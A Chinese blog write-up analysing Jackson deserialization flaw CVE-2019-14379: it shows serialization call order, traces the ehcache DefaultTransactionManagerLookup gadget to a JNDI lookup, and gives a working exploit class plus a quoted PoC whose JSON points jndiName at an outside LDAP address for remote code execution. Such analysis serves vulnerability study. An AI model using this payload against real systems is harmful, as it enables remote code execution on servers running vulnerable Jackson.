分析jackjson的安全漏洞CVE-2019-14379
Jackson 是當前用的比較廣泛的,用來序列化和反序列化 json 的 Java 的開源框架。Jackson 社 區(qū)相對比較活躍,更新速度也比較快, 從 Github 中的統(tǒng)計來看,Jackson 是最流行的 json 解析器之一 。今天給大家介紹jackson知識點序列化和反序列化的時候,setName和getName調(diào)用順序:
Student.java:
package com.test.JackSonTest;
public class Student{
private String name;
private Integer age;
private Teacher teacher;
public Student(){
System.out.println("student構造方法被調(diào)用");
};
public String getName() {
System.out.println(11111);
return name;
}
public void setName(String name) {
System.out.println(2222);
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public Teacher getTeacher() {
return teacher;
}
public void setTeacher(Teacher teacher) {
this.teacher = teacher;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", teacher=" + teacher +
'}';
}
}
在setName和getName處,新增輸出語句:
調(diào)用測試類:
jackson序列化和反序列化:
@Test
public void test2() throws IOException {
//序列化 對象轉json字符串
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串時,在值上打印出對象類型
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化 json字符串轉對象
String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}
輸出結果:
student構造方法被調(diào)用
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student構造方法被調(diào)用
2222
teacher構造方法被調(diào)用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
結論:在序列化的時候調(diào)用set*,然后調(diào)用get*方法,反序列化的時候會調(diào)用set*方法,不會調(diào)用get*方法,調(diào)用反序列化的json數(shù)據(jù)對應的類構造方法
CVE-2019-14379漏洞分析:
影響jackson到2.9.9.1:
這個漏洞還是比較有意思的,其他的cve,我都看了下,都比較簡單:
先安裝漏洞環(huán)境依賴:
pom.xml:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>2.10.6</version>
</dependency>
<dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>6.0</version>
</dependency>
單單有ehcache依賴是不行的,還得有javaee包,否則調(diào)用ehcache的時候,會提示找不到!
反序列化的惡意類是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup
因為代碼量的原因,直接靜態(tài)調(diào)試了,不是很難,通過反射進入代碼:
進入類:
找到這段代碼:

public void setProperties(Properties properties) {
if (properties != null) {
String jndiName = properties.getProperty("jndiName");
if (jndiName != null) {
this.defaultJndiSelector.setJndiName(jndiName);
}
}
}
獲取jndiName的值,然后設置jndiName:

繼續(xù)看這個類的其他方法:

public DefaultTransactionManagerLookup() {
this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
}
定義數(shù)組,存儲了這些數(shù)據(jù),其中包含了this.defaultJndiSelector,這是重點,等下會用到
this.defaultJndiSelector的來源:

private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
發(fā)現(xiàn)defaultJndiSelector實例化了GenericJndiSelector
這個等下要用到,這個先標記下.
繼續(xù)看這個類的其他方法:getTransactionManager():

代碼如下:
public TransactionManager getTransactionManager() {
if (this.selector == null) {
this.lock.lock();
try {
if (this.selector == null) {
this.lookupTransactionManager();
}
} finally {
this.lock.unlock();
}
}
return this.selector.getTransactionManager();
}
跟進去this.lookupTransactionManager():

其中
Selector[] var1 = this.transactionManagerSelectors;
int var2 = var1.length;
獲取的數(shù)組內(nèi)容,就是DefaultTransactionManagerLookup類提供的,繼續(xù)往下走代碼:

跟進去:

public TransactionManager getTransactionManager() {
if (this.transactionManager == null) {
this.transactionManager = this.doLookup();
}
return this.transactionManager;
}
調(diào)用this.doLookup()方法:
跟進去:

跟進到了Selector類,發(fā)現(xiàn)這是個抽象類:
以前寫文章說過,java基礎:抽象類方法的實現(xiàn)在他的子類繼承,如果想實現(xiàn)抽象類中的方法,需要子類繼承父類,然后重寫方法.
尋找他的子類:

跟進去看看:

快速找doLookup的具體實現(xiàn):

把代碼搞出來:
protected TransactionManager doLookup() {
InitialContext initialContext;
try {
initialContext = new InitialContext();
} catch (NamingException var14) {
LOG.debug("cannot create initial context", var14);
return null;
}
try {
TransactionManager var3;
try {
Object jndiObject = initialContext.lookup(this.getJndiName());
if (jndiObject instanceof TransactionManager) {
var3 = (TransactionManager)jndiObject;
return var3;
}
發(fā)現(xiàn)調(diào)用lookup,遠程調(diào)用我們的jndiName,jndiName可以通過properties設置:
Object jndiObject = initialContext.lookup(this.getJndiName());

至此都分析完了,觸發(fā)jndi遠程調(diào)用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class
只要我們設置我們的jndiName為惡意地址,并且調(diào)用getTransactionManager方法,即可實現(xiàn)rce:
構造exp:
package com.test.JackSonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer;
import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;
public class attackJdbc {
public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
ObjectMapper objectMapper =new ObjectMapper();
Class.forName("org.jdom.transform.XSLTransformer");
Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
Object o = objectMapper.readValue(json2, Object.class);
objectMapper.writeValueAsString(o);
}
}
這里要writeValueAsString序列化一次,是因為只有調(diào)用get方法的時候才能觸發(fā)lookup遠程調(diào)用,所以這里需要序列化一次
運行代碼:

關于惡意json的構造,參考一開始寫的測試類中序列化的生成,我是根據(jù)序列化生成json反推出來的惡意json
淺藍提供的exp是:
String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";
這邊執(zhí)行提示我json格式錯誤...
真的學到了不少哈哈哈,還是比較有意思的,雖然實戰(zhàn)很雞肋..
漏洞分析參考文章:
https://b1ue.cn/archives/189.html
以上就是jackjson的使用及CVE-2019-14379漏洞分析的詳細內(nèi)容,更多關于jackjson CVE-2019-14379漏洞的資料請關注腳本之家其它相關文章!
相關文章
Spring Boot使用RestTemplate消費REST服務的幾個問題記錄
這篇文章主要介紹了Spring Boot使用RestTemplate消費REST服務的幾個問題記錄,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2018-06-06
Springboot基于websocket實現(xiàn)簡單在線聊天功能
這篇文章主要介紹了Springboot基于websocket實現(xiàn)簡單在線聊天功能,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2020-06-06
spring?boot自動裝配之@ComponentScan注解用法詳解
@ComponentScan的作用就是根據(jù)定義的掃描路徑,把符合掃描規(guī)則的類裝配到spring容器中,下面這篇文章主要給大家介紹了關于spring?boot自動裝配之@ComponentScan注解用法的相關資料,需要的朋友可以參考下2023-04-04
springboot讀取自定義配置文件時出現(xiàn)亂碼解決方案
這篇文章主要介紹了springboot讀取自定義配置文件時出現(xiàn)亂碼解決方案,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2021-11-11
SpringBoot+ruoyi框架文件上傳和下載的實現(xiàn)
文件的上傳和下載功能,是項目開發(fā)過程中比較常見的業(yè)務需求,本文主要介紹了SpringBoot+ruoyi框架文件上傳和文件下載的實現(xiàn),具有一定的參考價值,感興趣的可以了解一下2023-09-09
springboot+thymeleaf找不到視圖的解決方案
這篇文章主要介紹了springboot+thymeleaf找不到視圖的解決方案,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2021-06-06

